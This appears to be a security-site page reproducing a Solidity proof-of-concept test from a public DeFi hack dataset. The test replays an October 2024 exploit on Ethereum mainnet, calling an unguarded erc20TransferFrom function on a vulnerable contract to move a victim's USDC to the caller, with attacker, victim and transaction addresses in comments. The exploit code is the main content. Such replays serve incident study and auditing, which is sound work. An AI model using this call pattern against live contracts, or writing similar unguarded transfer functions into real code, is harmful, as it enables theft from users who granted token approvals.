Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/Erc20transfer_exp.sol

Public reproduction file for dataset entry Erc20transfer.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/Erc20transfer_exp.sol39 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : $14,773.35
7// Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
8// Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
9// Vulnerable Contract : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa
10// Attack Tx : https://etherscan.io/tx/0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa#code
15// @Analysis
16// Post-mortem : https://x.com/d23e_AG/status/1849064161017225645
17// Twitter Guy : https://x.com/d23e_AG/status/1849064161017225645
18// Hacking God : https://x.com/d23e_AG/status/1849064161017225645
19pragma solidity ^0.8.0;
21interface I {
22 function erc20TransferFrom(address, address, address, uint256) external;
25contract Erc20transfer is BaseTestWithBalanceLog {
26 uint256 blocknumToForkFrom = 21_019_771;
28 function setUp() public {
29 vm.createSelectFork("mainnet", blocknumToForkFrom);
30 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
31 fundingToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
32 }
34 function testExploit() public balanceLog {
35 I(0x43Dc865E916914FD93540461FdE124484FBf8fAa).erc20TransferFrom(
36 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, address(this), 0x3DADf003AFCC96d404041D8aE711B94F8C68c6a5, 0
37 );
38 }

Analysis

Dataset entry

Public Foundry test for “Erc20transfer” (2024-10-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xfde0d1575ed8e06fbf36256bcdfa1f359281455a

  • Attack Contract

    0x6980a47bee930a4584b09ee79ebe46484fbdbdd0

  • Vulnerable Contract

    0x43dc865e916914fd93540461fde124484fbf8faa

  • Attack Tx

    0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172

File record

Name
Erc20transfer
Path
src/test/2024-10/Erc20transfer_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
9637702995567c85e153b25f0b7efb09649b2301
Language
Solidity
Size
40 lines
Date
2024-10-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/Erc20transfer_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9637702995567c85e153b25f0b7efb09649b2301, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.